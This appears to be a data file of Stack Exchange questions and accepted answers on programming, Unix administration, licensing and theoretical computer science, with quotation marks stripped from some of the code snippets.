{  "id": "_opensource.958"  , "question": "I've noticed that the GNU GPL version 3 uses the word convey where version 2 used distriubte:GNU GPLv3:To convey a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying.GNU GPLv2:To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.Is convey in GPLv3 the same thing as what GPLv2 means by distribute?"  , "title": "GPL v3 convey vs. GPL v2 distribute"  , "tags": "licensing;gpl;terminology"  , "accepted_answer": "The GPL FAQ states:Is convey in GPLv3 the same thing as what GPLv2 means by  distribute?Yes, more or less. During the course of enforcing GPLv2, we learned  that some jurisdictions used the word distribute in their own  copyright laws, but gave it different meanings. We invented a new term  to make our intent clear and avoid any problems that could be caused  by these differences.So yes, they mean basically the same."  } 
{  "id": "_codereview.94487"  , "question": "I was solving this question on a site that gives you a 1d array called gridgrid = ['top left',    'top middle',    'top right',        'middle left', 'center',        'middle right',        'bottom left', 'bottom middle', 'bottom right']and you're expected to write a method fire(x,y) that takes in two coordinates and gives you back where you hit the grid.For example:fire(0,0) # 'top left'fire(1,2) # 'bottom middle'Here is my solution, I used NumPy for it.import numpy as npdef fire(x,y):#the grid is preloaded as you can see in description    oneDArray = np.array(grid)    twoDArray = oneDArray.reshape(3,3)    return twoDArray[y][x]I'm looking to get some feedback on the answer."  , "title": "Converting a 1D Array of Strings to a 2D Array in Python"  , "tags": "python;array;numpy"  , "accepted_answer": "That works, but if your only goal is to implement fire(x, y), then NumPy is overkill.def fire(x, y):    return grid[3 * y + x]"  } 
{  "id": "_ai.3632"  , "question": "I have created 22 different Convolutional neural networks that all test for the presence of unique objects in an image (each one of the classifiers is unique). Each sample in the test set has the output of a 22-long vector that looks something like this [0, 1, 1, 0, 0, 1, ..., 1], the binary nature of the vector representing the presence/absence of specific objects. I have implemented this already in keras and reach around 97% accuracy avg for the 22 models. Is there any specific ensemble methods that can allow me to combine all 22 classifiers?"  , "title": "Ensemble Learning using Convolutional Neural Networks"  , "tags": "neural networks;machine learning;convolutional neural networks;classification;keras"  } 
{  "id": "_vi.8878"  , "question": "I'm not really sure how to describe what I'd like to do. Basically I'd like to use visual block mode to select a region of text and then paste it as a collection of lines rather than as a rectangle.a bc de fg hafter pressing gg0<c-v>Gy the rectangle a/c/e/g is in the default yank register (I forgot what it's called).If I then paste the rectangle p I get the following:aa bcc dee fgg hI'm wondering if it's possible to paste a rectangle / visual block selection on a group of lines by itself, as if it were an ordinary visual selection.acega bc de fg h"  , "title": "Paste visual block selection on its own lines"  , "tags": "cut copy paste;visual block"  , "accepted_answer": "Try this::put! :put: insert the contents of the specified register!: insert before the current line (the default is after): the unnamed register (check :help registers for details)You could do it from insert mode as well: Ctrl-r+"  } 
{  "id": "_cs.49421"  , "question": "What is the relation and difference between a programming model anda programming paradigm? (especially when talking about theprogramming model and the programming paradigm for a programminglanguage.)Wikipediatries to answer my question in 1:Programming paradigms can also be compared with programming models that are abstractions of computer systems. For example, the  von Neumann model is a programming model used in traditional  sequential computers. For parallel computing, there are many  possible models typically reflecting different ways processors can  be interconnected. The most common are based on shared memory,  distributed memory with message passing, or a hybrid of the two.But I don't understand it:Is it incorrect that the quote in Wikipedia says the 'von Neumann model' is a programming model, because I understandthat the Von Neumann model is an architectural model fromhttps://en.wikipedia.org/wiki/Von_Neumann_architecture?Are the parallel programming models typically reflecting different ways processors can be interconnected? Or are parallelarchitectural models reflecting different ways processors can beinterconnected instead?In order to answer the question in 1, could you clarify  what a programming model is? Is it correct that a programming model provided/implemented by aprogramming language or API library, and such implementation isn'tunique?From Rauber's Parallel Programming book, programming model isan abstraction above model of computation (i.e. computationalmodel) which is in turn above architectural model. I guess that aprogramming model isn't just used in parallel computing, but for aprogramming language, or API library."  , "title": "Differences between programming model and programming paradigm?"  , "tags": "terminology;programming languages;computation models;programming paradigms"  } 
{  "id": "_cstheory.4934"  , "question": "I have defined a finite state machine     Q = {, S, s0, , F}    where      = {'[r]equest', '[o]ut', '[i]n', '[e]nd'}    S = {'[R]eady', '[I]nitiating', '[W]aiting', 'Re[C]eived', 'Re[S]etting'}    s0 = R,    F = {R}     =  (q  S and x  )     q      x      q    -------------------     R      r      I     I      o      W     W      i      C     C      e      S     S            RHowever, I have a transition from  W to S via a temporal event. How should I represent it?If I add an epsilon-move     W          Sit is not intuitive that it is a temporal event. possibly a timeout"  , "title": "A fsm with temporal events"  , "tags": "fl.formal languages;automata theory"  , "accepted_answer": "This was a comment first, but Suresh asked me to turn it into an answer:Maybe you want to take a look at timed automata. These are finite automata equipped with clocks; time can pass, clocks can be reset, transitions can be restricted to occur within a given time by clock guards etc. Here are some nice introductory slides: lsv.ens-cachan.fr/~bouyer/files/bouyer_chennai.pdf(This is actually the framework that Vor is using in his answer. His solution makes use of a clock that is reset and a guard for the epsilon transition.)"  } 
{  "id": "_unix.90225"  , "question": "At work, I'm facing security risk with the mail sender spoofing. I have a relay mail server which accepts mail relay from all server subnets.If an user in a normal server sends mail within command line:user@server$ echo mail_content | mail -r vip@company.com -s Important recipient@company.comSo basically, this guy can pretent to be anyone when sending email, which could lead to really big troubleWhat I'm expecting is, even though running the above command, the recipient still get the mail with From: user@serverHow can I do it in Postfix?Edit: I forgot to add, the authentication method is Active Directory, not sure if it makes the configuration much complicated :)"  , "title": "How to config Postfix to prevent sender spoofing?"  , "tags": "postfix"  } 
{  "id": "_webmaster.74358"  , "question": "My web-site automatically redirects everyone to Google when people try to search.  This is done with the following nice and simple nginx code:set $goog   http://www.google.com/search?q=site:ports.su+$arg_q;location = /search {    return  307 $goog;}In Google Webmaster Tools, I see that I have a lot of hits to my web-site every single day; it's basically the same number of hits as visitors in total.Since Google may or may not redirect people to https (and then in case of such redirect the search string will be lost, and the site:example.com part will be unavailable for present/absent inspection), is there a way to know how many people find the site organically through Google, as opposed to finding Google through my site, only to then find the specific pages within site:example.com?(Going to https is not an option for me, since it's not backwards compatible with http and older https browsers.)"  , "title": "Is there a way to distinguish organic search referrers from users that perform a site: search on Google from my site?"  , "tags": "google;google search console"  } 
{  "id": "_unix.74419"  , "question": "I have an ISO image in another system which I need to burn on my system. I can copy that image to my system using SCP and then do burning. But I would like to know, whether I can directly burn the remote data(image here) to the dvd? Both the systems have GNU/Linux."  , "title": "Burn remote data on to a disc"  , "tags": "linux;remote;iso;burning"  } 
{  "id": "_unix.134268"  , "question": "I have a directory with ownersip like user:group. I want to make on it something like sgid, but for user - all of new created files have a directory ownership. For example:drwxrwx--- 2 user   group   4096 Jun  3 16:10 testAnd all created files in it have automaticly set following ownership on user:-rwxrw---- 1 user group1 0 Jun  3 16:11 file1-rwxrw---- 1 user group2 0 Jun  3 16:11 file2-rwxrw---- 1 user group3 0 Jun  3 16:11 file3It is possible to do this?"  , "title": "Solaris - Inheriting by files the user's ownership of directory"  , "tags": "permissions;solaris;chown"  } 
{  "id": "_softwareengineering.204996"  , "question": "I have a behaviour that I'd like to use in different classes. Those classes are unrelated to each other (no inheritance). I'm using AS3, where multiple inheritance is not possible.I could use an interface but then I'd have to rewrite the same implementation every time, which is basically what I'm doing now (but without the interface).As en example I have many situations where I have an icon and a text label. In buttons, signs, etc. I'd like to centralise the alignment behaviour between the icon and the label.What is the best OOP pattern for that?"  , "title": "how to use the same behaviour in different classes"  , "tags": "design patterns;object oriented"  , "accepted_answer": "The Strategy pattern is what I would use for this (encapsulating an algorithm). How the alignment is done is something that can be configured at runtime. There are also lots of different ways of aligning elements so you encapsulate them behind an interface. The example below is one way you could use strategy pattern with your Aligner class.class Panel{    UIElement[] Children;    IAligner Aligner;    public SetAlignment(IAligner aligner)    {        this.Aligner = aligner;    }    public void Render()    {        Aligner.Align(Children)        Display(Children)    }}interface IAligner{    void Align(UIElement[] elements)}class LeftAligner : IAlignerclass RightAligner: IAlignerclass CenterAligner: IAligner"  } 
{  "id": "_unix.321856"  , "question": "I want to programmatically install MySQL to a Mac system running OS 10.11.6 El Capitan, so once the .dmg has been downloaded the script unpack it with the command:sudo hdiutil attach mysql-5.7.16-osx10.11-x86_64.dmgafter that the script runs:sudo installer -package /Volumes/mysql-5.7.16-osx10.11-x86_64/mysql-5.7.16-osx10.11-x86_64 .pkg -target /Here starts the installer, now when I install MySQL from the GUI I get a message-box telling me the temporary password for the root user (see attached picture)so, what I want is the script to read the temp root password and eventually set a predefined password for the root user:1) is possilbe to make bash shell read the temp password and store it into a variable?2) can the script reset the root password automatically?"  , "title": "Mac install MySQL from a shell script"  , "tags": "shell script;software installation;osx;mysql"  } 
{  "id": "_unix.128911"  , "question": "I am running Firefox 27.0 and sometimes it shows strange symbols instead of icons. For example, instead of arrows up/down for up voting or down voting in a forum, it show some Japanese looking character. "  , "title": "Strange symbols instead of icons in Firefox"  , "tags": "firefox"  } 
{  "id": "_codereview.26153"  , "question": "Just a little thing I made to load 20 random images from imgur. I looked at the way that imgur references images on its site, and I felt like I could probably generate a random string of letters and numbers that would, on occasion, produce a valid image URL. So I threw this together in PHP, because I am trying to learn PHP. It takes a while to get the 20 that it does, way longer for more. I would like to speed it up, and my current project in PHP is to learn more about classes etc, but I really have no idea where to start.I would love some feedback! I know this looks real amateur hour, but I am a real amateur, so go easy on me!BEWARE: not everything on imgur is worksafe, so if you decide to try this code out on your own server, the images returned are truly random with no filter, so no telling what you might see.<html><head>    <title>Random imgur Loader</title>    <style type='text/css'>        #bg {            position:fixed;             top:-50%;             left:-50%;             width:200%;             height:200%;            z-index: -10;        }        #bg img {            position:absolute;             top:0;             left:0;             right:0;             bottom:0;             margin:auto;             min-width:50%;            min-height:50%;            z-index: -10;            opacity: 0.4;        }        #container {             width: 760px;             margin: 0 auto;         }        .imgcell {            border: 1px solid black;        }    </style></head><body><div id='container' style='text-align: center;'><?php$gcode1=generateCode(5);$url3=http://i.imgur.com/.$gcode1..jpg;?><div id=bg>    <img src=<?=$url3?> alt=></div><?php$pagepath=$_SERVER[PHP_SELF];if ($_GET['numimg']=='') {    $numimg=20;} else {    $numimg=$_GET['numimg'];}?><h1 style='font-family: verdana;'><?=$numimg?> random imgur images</h1><table border=0><tr><?phpfunction generateCode($length=6) {    $source='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';    $code='';    for ($i=0; $i<$length; $i++) {        $code .= $source[(rand() % strlen($source))];    }return $code;}$ii=1;while ($ii<=$numimg):    $gcode=generateCode(5);    $url=http://i.imgur.com/.$gcode..jpg;    $url2=http://www.imgur.com/.$gcode;    $headerfile=get_headers($url2, 1);    $http_code=$headerfile[1];    $imgheader=get_headers($url, 1);    $imgcode=$imgheader[Content-Type];    #echo $imgcode;    if ($imgcode == 'image/gif') {        $bcode='red';    } else {        $bcode='gray';    }    if($http_code!=HTTP/1.1 404 Not Found) {        print(<td style='border: 2px solid $bcode' ><a target='_blank' href='$url2'><img title='$imgcode' width='160px' height='160px' src='$url'></a><td>);        echo(str_repeat(' ',4096));        if ($ii % 5 == 0) {            print(</tr><tr>);        }        flush();        $ii++;    }endwhile;?></tr></table><?php print(<p><a href='$pagepath'>Get $numimg more!</a></p>);?></div> </body></html>"  , "title": "Random imgur image loader"  , "tags": "php;beginner;html;random;image"  , "accepted_answer": "Definitely separate your PHP from HTML as Alex suggested. You probably don't need to go the full MVC route for something so simple, but simply generating your PHP variables then outputing your HTML would make your code a lot more readable/manageable. I like your idea of generating a random string and checking it, but Flambino's right, it will never be reliable (by design) - also, imgur probably hates you ;) A simpler approach would be to consume imgur's RSS feed: http://feeds.feedburner.com/ImgurGallery?format=rssI was bored one morning, so I added something similar to the login page of one of my projects. It pulls one random image from lolcats' RSS feed and inserts it into the page. Here's the code that pulls the image:$feed = $this->get('feed_parser'); // This is just a SimplePie object$feed->set_feed_url('http://feeds.feedburner.com/lolcats/rss');$feed->init();$items = $feed->get_items();$item = $items[array_rand($items)]; // Gets one random image, but can modify for more$item = $item->get_content();$this->get('feed_parser') is just a fancy way of getting a SimplePie object from the PIMPLE container - you could just instantiate a SimplePie object yourself (if you want code you can't test). After running this code, $item would be a PHP array (or some collection class) containing the details of one image. In my case, I then exposed this as JSON and a REST API endpoint for use by JavaScript, but you could just as easily have PHP output the appropriate HTML."  } 
{  "id": "_cs.52634"  , "question": "I have a similar question to that of Stable Marriage Problem.This is the criteria1) 1 Student must have 1 Teacher only.2) 1 Teacher ideally should have 3-4 Students.The spreadsheet is done using Google Apps Script (Javascript).How do I go about with the system calculation and giving teachers the system-generated result (3-4 Students) ?"  , "title": "Match students and teachers based on ranking"  , "tags": "algorithms;bipartite matching;assignment problem"  , "accepted_answer": "Your problem differs from stable marriage problem in a minor way. A teacher can have 4 students maximum. You will have to fix the maximum students allotted to teacher (you may not have 3-4, if you also prescribe minimum number of students then you might have to dig deeper).Now you can do two things, first, have four copies of each teacher and solve the stable marriage problem. Second solution is essentially like first but you keep a list of 4 engagements  for each teacher."  } 
{  "id": "_vi.4612"  , "question": "Is there a vimscript function that wraps text in a similar manner like gqgq does?For example, if I have the following string variable:let txt = 'One foo, two bars and three bazes went up the hill'I'd like to call something likelet indent   = 4let textwith = 12let wrapped = wrap(txt, indent, textwidth)After the call, the value of wrapped should be    One foo, two    bars and    three bazes    went up the    hillIs there something that does that?"  , "title": "Is there a vimscript function to wrap text"  , "tags": "vimscript;wrapping"  , "accepted_answer": "This function does what I needfu! TextWrap(text, width, indent)  let l:line = ''  let l:ret  = ''  for word in split(a:text)    if len(l:line) + len(word) + 1 > a:width       if len(l:ret)          let l:ret .= \\n       endif       let l:ret .=  repeat(' ', a:indent) . l:line       let l:line = ''    endif    if len (l:line)       let l:line .= ' '    endif    let l:line .= word  endfor  let l:ret .= \\n . repeat(' ', a:indent) . l:line  return l:retendfuThe function is then called, for example, like soecho TextWrap(one two three four five six seven eight nine ten, 8, 2)Which results in  one two  three  four  five six  seven  eight  nine tenThe parameter indent specifies how many empty (space) characters there are in front of the first word. width specifies the maximum number of characters after indent characters. (for example five six or nine ten each constists of 8 characters)."  } 
{  "id": "_cs.33751"  , "question": "Suppose we have a degree $m$ multivariate polynomial $p(x_1, x_2, \\ldots, x_m)$ in $n$ variables (by degree I mean the highest sum of powers of factors in any monomial term). Such a polynomial can have infinitely many rational zeros. Suppose we have landed at one of them, then what is an efficient way to escape from the zeros? Schwartz's theorem gives us that $p$ can be zero on an at most half of the integer points in any 2m x 2m x 2m x ... n-cube set of points such as the points with x,y,z,... in {0, 1, ..., d}, but this is computationally inefficient. Is there a better way to find a non-zero?In the actual problem I'm trying to solve, there are restrictions on the $x_i$'s. I'm hoping to find a criterion that I can satisfy within these restrictions, so the more, the merrier!"  , "title": "Finding a rational non-zero of a multivariate polynomial in polynomial time"  , "tags": "complexity theory"  } 
{  "id": "_unix.136243"  , "question": "I have a user of name x in tty1 and y in tty2. x wants to write some message to y and vice-versa. When I typed write y tty2 in the tty1 terminal, it said:write:you have write permission turned offwrite:y has messages disabledI then tried to enable messages:$ mesgis n$ mesg yNow I can successfully write a message from x to y or vice-versa, but the first line of error continues to appear. I have tried logging out and back in again, but the symptom doesn't change. I also looked through the file /etc/default/devpts and saw that TTYMODE=620."  , "title": "Problem in writing message from one terminal to another terminal"  , "tags": "ubuntu;terminal;write"  } 
{  "id": "_softwareengineering.191524"  , "question": "I just came from an interview in which they asked me several questions about programming and problem solving. Regarding the programming questions, I asked them to let me Google so I can see the code (I quoted that logic is the thing to learn, not the language). At the end of the interview they told me that my skills very good but what would I do if Google has been blocked around our country(It can happen in Pakistan, Youtube is yet blocked). Is it really that a programmer should know the code too?"  , "title": "Is Googling every code a bad practice?"  , "tags": "source code"  } 
{  "id": "_cstheory.14700"  , "question": "If a circuit ({AND OR NOT} circuit) with depth d computes the majority function, what's the best lower bound for majority function?I know the lower bound for parity function is $ 2^{\\Omega (n^{1/d})} $"  , "title": "lower bound of majority function?"  , "tags": "cc.complexity theory;lower bounds"  } 
{  "id": "_cs.48707"  , "question": "If $L$ is the set of strings $\\langle M\\rangle$ such that $M$ accepts all strings of even length and does not accept any strings of odd length.What will be  $\\overline L$ ?a) set of strings $\\langle M\\rangle$ such that $M$ accepts all strings of even length as well as any strings of odd length.b) set of strings $\\langle M\\rangle$ such that $M$ accepts all strings of odd length and does not accept any strings of even length."  , "title": "Complement of a Language which is set of Turing Machine descriptions"  , "tags": "formal languages;terminology;closure properties"  , "accepted_answer": "Neither. A machine $M$ is not in $L$ if either it rejects some even-length string or it accepts some odd-length string (or both)."  } 
{  "id": "_softwareengineering.200552"  , "question": "I have seen the words Fetch and Select used seemingly interchangeably when naming data access layer methods (ex. Person.Select or Person.Fetch).   Which one is correct?  My instinct is that the point of the data access layer is to abstract data access and thus the term Fetch would be more of an abstraction perhaps than Select would be.  But if one can imagine for a moment that SQL was not an existing technology, the term Select on its own might be appropriate."  , "title": "Which is architecturally correct for Data Access Layer method names - Fetch or Select?"  , "tags": "naming;methods;repository"  , "accepted_answer": "According to the given comments, I'd also say that it's a matter of preference. When I have to cope with naming issues, I usually look for semantic differences of the words in a dictionary.fetch - go for and then bring back (someone or something) for someoneselect - carefully choose as being the best or most suitableThe word select has a notion of choosing between some elements. This is not the case in a Data Access Layer, because in a specific method you know which entity you want to access and thus, the selecting process rather takes place in the Database Layer itself.Therefore I'd prefer the word fetch in this case, because, according to the definition, you go for an entity's data and you want to bring it back (=forward it) to the next higher layer, maybe the business logics layer."  } 
{  "id": "_codereview.52149"  , "question": "Next version of Adding a duplicate entry randomly into a list in haskell using random monadI wrote this trying to set up a Haskell testcase. The aim is to take a list and add a single duplicate from any place in the list to anywhere else in the list.  I'm trying to learn to use the Random Monad properly so the main aims should be clear, simple, idiomatic and pure code. However any recommendations for improvement are appreciated. The code here has most of the improvements suggested by @Petr in the review of the previous version, howeverI'm still using lists rather than sequences because the code I plan to test uses listsI still have an infinite list function because I want to be able to use it easily from IO code where the number of strings to be generated isn't known in advance.  I believe that since the Random Monad uses incremental state based on the State Monad, it should be okay to generate infinite lists with it.-- DataListDuplicator.hs by Michael De La Rue 2014-- licensed to StackExchange codereview under cc by-sa 3.0-- may be used under AGPLv3module DataListDuplicator where import Control.Monad.RandominfiniteDuplicateLists :: (MonadRandom m) => [a] -> m [[a]]infiniteDuplicateLists = mapM addRandomDuplicate . repeataddRandomDuplicate :: MonadRandom m => [a] -> m [a]addRandomDuplicate genlist = do     frompos <- getRandomR (0 ,llen - 1)     topos   <- getRandomR (0 ,llen)     let  newlist = listEntryDuplicate frompos topos genlist     return newlist   where     llen = length genlistlistEntryDuplicate from to list =      start ++ [repeat] ++ end    where      repeat = list !! from      (start, end) = splitAt to listHere's a little program which drives that:-- duplicate-to-list-randmonad.hs by Michael De La Rue 2014-- licensed to StackExchange codereview under cc by-sa 3.0-- may also be used under AGPLv3-- N.B. Trivial copying of code fragments does not normally require any license.import Data.Listimport Control.Monad.Randomimport DataListDuplicatormain :: IO ()main = do    putStrLn $ list comparison  ++ prettyList list    g <- getStdGen    let shuffled = evalRand (infiniteDuplicateLists list) g    putStrLn $ lists after \\n ++ intercalate \\n ( map prettyList (take 5 shuffled))    where    list = [a,b,c]prettyList :: (Show a) => [a] -> StringprettyList list =  [  ++ intercalate , (map show list) ++  ] "  , "title": "v2 - Adding a duplicate entry randomly into a list in haskell using random monad"  , "tags": "haskell;linked list;random;monads"  } 
{  "id": "_unix.369545"  , "question": "I am new to Mac related commands. I installed CentOS vagrant on virtual box through terminal. Is there any command that I can directly switch user to vagrant from terminal?"  , "title": "Vagrant in Mac Terminal"  , "tags": "vagrant"  } 
{  "id": "_cs.54840"  , "question": "I have been following the book Introduction to Automata Theory, Languages, and Computation by John E. Hopcroft and Jeffery D. Ullman.I came across the following topic titled Bad Case for Subset Construction (2.3.6). I cannot follow the example given over there, about NFA N that can accept strings with 1 at the $n^{th}$ position, and that the DFA formed from that NFA thereafter will have no equivalent with fewer than $2^n$ states.They argue that The DFA $D$ must be able to remember last n symbols it  has read. Since any of the $2^n$ subsets of the last n symbols could  be 1, if D had fewer than $2^n$ states, then there would be some state  $q$ such that $D$ can be in state $q$ after reading two different sequences of n bits, say $a_{1}a_{2}...a_{n}$, and $b_{1}b_2...b_n$.Here is an extract from the book itself:I have been trying to comprehend the proof, including this line and the subsequent paragraph that follows, but I have not been able to.Can someone please explain the approach ?"  , "title": "An NFA with no equivalent DFA with fewer than $2^n$ states: Example and Proof"  , "tags": "automata;finite automata"  } 
{  "id": "_unix.115323"  , "question": "Emacs backup files start with .# but I can find those in my directory. I've try:find . -name '^\\.#.*'orfind . -name '.*#.*'and they are not show up, and I have them. For instance if I create one just for test:touch '.#test'and if I try to find it using find command it not show up."  , "title": "How to find Emacs backup files?"  , "tags": "bash;find;emacs;backup"  , "accepted_answer": "> touch .#test> find . -name '.#*'./.#testWorks! find uses shell globbing, not regular expressions. . does not need to be escaped in the former because it is not a special character, it is always literal.  The glob equivalent of the regexp wildcard . is ?.   Also, * is a wildcard in globbing, the regexp equivalent of which is .* (* being a quantifier and not a wildcard in regexps)."  } 
{  "id": "_softwareengineering.112589"  , "question": "IS MVVM getting any kind of traction outside the Microsoft community?  Within Silverlight this is a non-issue, but for other technologies, like JavaScript it surely is:  For instance Knockout.js is a great framework, but the 'rest of the world' seems to be on a Backbone path.My concern is that MVVM frameworks (like Knockout) are going to suffer a lack of network effect by being constrained to the Microsoft ecosystem, and thus fall behind compared to the rest."  , "title": "Examples of MVVM adoption outside the Microsoft community?"  , "tags": "web development;javascript;design patterns;mvvm"  } 
{  "id": "_scicomp.19319"  , "question": "I am using 8 ODEs in Matlab to simulate the effect of asymptomatic infections in the epidemiology of a vector borne disease. Searching the parameter space under certain settings produces negative numbers for the human population and the following warning in the command consol:Warning: Failure at t=3.562559e+03. Unable to meet integration tolerances without reducing the step size below the smallest value allowed (7.275958e-12) at time t. > In ode45 at 308 In Mosquito_Framework_2_human_plots at 79Is there some setting I could put the solver on to get rid of the problem. The current solver is ode45 under 'RelTol', 1e-6 option.The following code produces the negative human population and warning message:function [t,Sh,Ah,Ih,Rh,Se,Sv,Iv] = Mosquito_Framework_2_human_plots(betaI,betaV,c,...theta,d,muh,p,muv,omega,epsilon,Sh0,Ah0,Ih0,Rh0,Sv0,Ev0,Iv0,MaxTime)% Sets up default parameters if necessary.if nargin ~= 18    disp('defaults')    %displays message default to say simulation is using defaults if not    %enouth argumants is given   betaI = (0.3+1)/2*(0.1+0.75)/2;   betaV = (0.3+1)/2*(0.5+1)/2;   c=1;   theta=8;   d=0.25;   muh=1/(60*365.0);   p=0.9;   muv=1/6;   omega=1/11;   epsilon=1/((8+12)/2);   Sh0=(1e6)-1;   Ah0=1;   Ih0=0;   Rh0=0;   Sv0=9.5e6;   Ev0=0;   Iv0=0;   MaxTime=10*(365);endgammaI=1/theta;gammaA=1/(d*theta);betaA=c*betaI;Nh0=Sh0+Ah0+Ih0+Rh0;Nv0=Sv0+Ev0+Iv0; Se0=Nv0*(muv/omega); % Checks all the parameters are valid if Sh0<=0      error('Initial level of susceptibles (%g) is less than or equal to  zero',Sh0); endif Ah0+Ih0<=0      error('Initial level of infecteds (%g) is less than or equal to zero',Ah0+Ih0);endif betaA+betaI<=0      error('Transmission rate betaA+betaI (%g) is less than or equal to zero',betaA+beta);endif betaV<=0      error('Transmission rate betaV (%g) is less than or equal to zero',betaA+beta);endif gammaA+gammaI<=0      error('Recovery rate gammaA+gammaI (%g) is less than or equal to zero',gammaA+gammaI);endif muh<=0     error('Death and birth rate gamma (%g) is less than or equal to zero',muh);endif MaxTime<=0     error('Maximum run time (%g) is less than or equal to zero',MaxTime);endif Sh0+Ah0+Ih0>Nh0warning('Initial level of susceptibles+infecteds (%g+%g=%g) is greater than human population size (%g)'...,Sh0,Ah0,Ih0,Sh0+Ah0+Ih0,Nh0);endif Sv0+Ev0+Iv0>Nv0warning('Initial level of susceptibles+infecteds (%g+%g=%g) is greater than mosquito population size (%g)'...,Sv0,Ev0,Iv0,Sv0+Ev0+Iv0,Nv0);endSh=Sh0; Ah=Ah0; Ih=Ih0; Rh=Rh0; Se=Se0; Sv=Sv0; Ev=Ev0; Iv=Iv0;% The main iteration options = odeset('RelTol', 1e-6);[t, pop]=ode45(@Diff_Framework_1,[0 MaxTime],[Sh Ah Ih Rh Se Sv Ev Iv],options,...    [betaA betaI betaV gammaA gammaI muh p muv omega epsilon]);Sh=pop(:,1); Ah=pop(:,2); Ih=pop(:,3); Rh=pop(:,4); Se=pop(:,5); Sv=pop(:,6); Ev=pop(:,7); Iv=pop(:,8);%plot the graphs with scaled coloursplot(t,Ah,'Color',[250/255,228/255,32/255],'LineWidth',1.4);hold on%hold on makes matlab plot to the same plot.plot(t,Ih,'-r','LineWidth',1)set(gca, 'FontSize', 14)xlabel('Time in Days','FontSize',18);ylabel('Human Population','FontSize',18);% ylim([0,1e5])name = strcat('Vector_dep_M2@_c=',num2str(c),'_d=',num2str(d),'_p=',num2str(p));Human_pop_plot_name = strcat('Human_pop_',name,'.fig');savefig(Human_pop_plot_name);hold off%hold off stops matlab ploting to the same plot.%Saves graph%creates string based around parameters used called dataset_name Both_pops_csv_names = strcat('Both_pops_',name,'.csv');Both_pops_csv = dataset({t,'Time_in_Days'},{Sh+Ah+Ih+Rh,'Total_Human_Population'},...{Sh,'Susceptibles_Humans'},{Ah,'Asymptomatic_Humans'},{Ih,'Symptomatic_Humans'},...{Rh,'Recovered_Humans'},{Se+Sv+Ev+Iv,'Total_Mosquito_Population'},...{Sv+Ev+Iv,'Total_Adult_Mosquito_Population'},{Se,'Pre_Adult_Mosquito_Population'},...    {Sv,'Susceptible_Mosquito_Population'},     {Ev,'Incubating_Mosquito_Population'},...    {Iv,'Infectious_Mosquito_Population'});%export(Both_pops_csv,'File',Both_pops_csv_names,'Delimiter',',')%creats csv file of outputs% Calculates the differential rates used in the integration.function dPop=Diff_Framework_1(t,pop, parameter)betaA=parameter(1); betaI=parameter(2); betaV=parameter(3); gammaA=parameter(4);...     gammaI=parameter(5); muh=parameter(6); p=parameter(7); muv=parameter(8); ...    omega=parameter(9); epsilon=parameter(10);Sh=pop(1); Ah=pop(2); Ih=pop(3); Rh=pop(4); Nh=Sh+Ah+Ih+Rh; ...    Se=pop(5); Sv=pop(6); Ev=pop(7); Iv=pop(8); Nv=Sv+Ev+Iv; dPop=zeros(8,1);dPop(1)= muh*Nh - Sh/Nh*(betaV*Iv) - muh*Sh;dPop(2)= (1-p)*Sh/Nh*(betaV*Iv)-(gammaA+muh)*Ah;dPop(3)= p*Sh/Nh*(betaV*Iv) - (gammaI+muh)*Ih;dPop(4)= gammaA*Ah+gammaI*Ih - muh*Rh;dPop(5)= muv*Nv - omega*Se;dPop(6)= omega*Se - (Sv*betaA*Ah/Nh + Sv*betaI*Ih/Nh) - muv*Sv;dPop(7)= (Sv*betaA*Ah/Nh + Sv*betaI*Ih/Nh) - epsilon*Ev - muv*Ev;dPop(8)= epsilon*Ev - muv*Iv;"  , "title": "How do I stop negative numbers and error message:  Failure at t=3.562559e+03. Unable to meet integration tolerances"  , "tags": "matlab;ode"  } 
{  "id": "_unix.185802"  , "question": "I get the following error after doing sudo apt-get upgrade:Setting up php5-cli (5.5.9+dfsg-1ubuntu4.6) ...ucfr: Attempt from package php5-cli  to take /etc/php5/cli/php.ini away from package php5-fpmucfr: Aborting.dpkg: error processing package php5-cli (--configure): subprocess installed post-installation script returned error exit status 4dpkg: dependency problems prevent configuration of php5-readline: php5-readline depends on php5-cli (= 5.5.9+dfsg-1ubuntu4.6); however:  Package php5-cli is not configured yet.dpkg: error processing package php5-readline (--configure): dependency problems - leaving unconfiguredNo apport report written because the error message indicates its a followup error from a previous failure.                                                                                                          dpkg: dependency problems prevent configuration of php-pear: php-pear depends on php5-cli; however:  Package php5-cli is not configured yet.dpkg: error processing package php-pear (--configure): dependency problems - leaving unconfiguredNo apport report written because the error message indicates its a followup error from a previous failure.                                                                                                          Setting up php5 (5.5.9+dfsg-1ubuntu4.6) ...Errors were encountered while processing: php5-cli php5-readline php-pearE: Sub-process /usr/bin/dpkg returned an error code (1)After that, I tried sudo apt-get install -f, sudo dpkg --configure -a and sudo apt-get install --reinstall php5, all of them with the same error. How can I fixed this?"  , "title": "Can't finish php5-cli update"  , "tags": "ubuntu;apt;php5"  , "accepted_answer": "To solve it, I had to remove the symlink in /etc/php5/cli/php.ini that points to ../fpm/php.ini.After that, all works as expected.I found the solution here."  } 
{  "id": "_webmaster.17902"  , "question": "I'd like to include extra information that would give us a bump in location specific search?"  , "title": "How can I include location data in a page so that Google search results include a map?"  , "tags": "seo;google"  } 
{  "id": "_softwareengineering.319597"  , "question": "I have built a server-side Java application of about 10k lines of code and on a code review a colleague made me notice that when developing a new business feature , I have to touch several files.  My explanation is the following:In a well-layered architecture, delivering an additional business functionality might require small changes/additions to all the layers. For example in a classical three layer application which has a REST API/business logic/ data access layer, adding a new feature might require to touch these three layers.When developing a new feature you will easily get presented with the chance of refactoring existing code in order to keep the code in good quality(cyclomatic complexity, dependency tree length, etc) and DRY. Given that I have a test coverage between 70% and 80% I do that aggressively.Due to the small changes of point 2, I might have to slightly touch the tests for those featuresBecause I touch N layers, I will have to update each unit test for each layer + at least one integration testA different approach would obviously be to develop a more componentized application, where each business functionality is achieved through an independent module. Am I right in considering a layered architecture better, at least in containing the total cost of ownership and development of the application?"  , "title": "Layered architectures and modular software"  , "tags": "design;layers"  } 
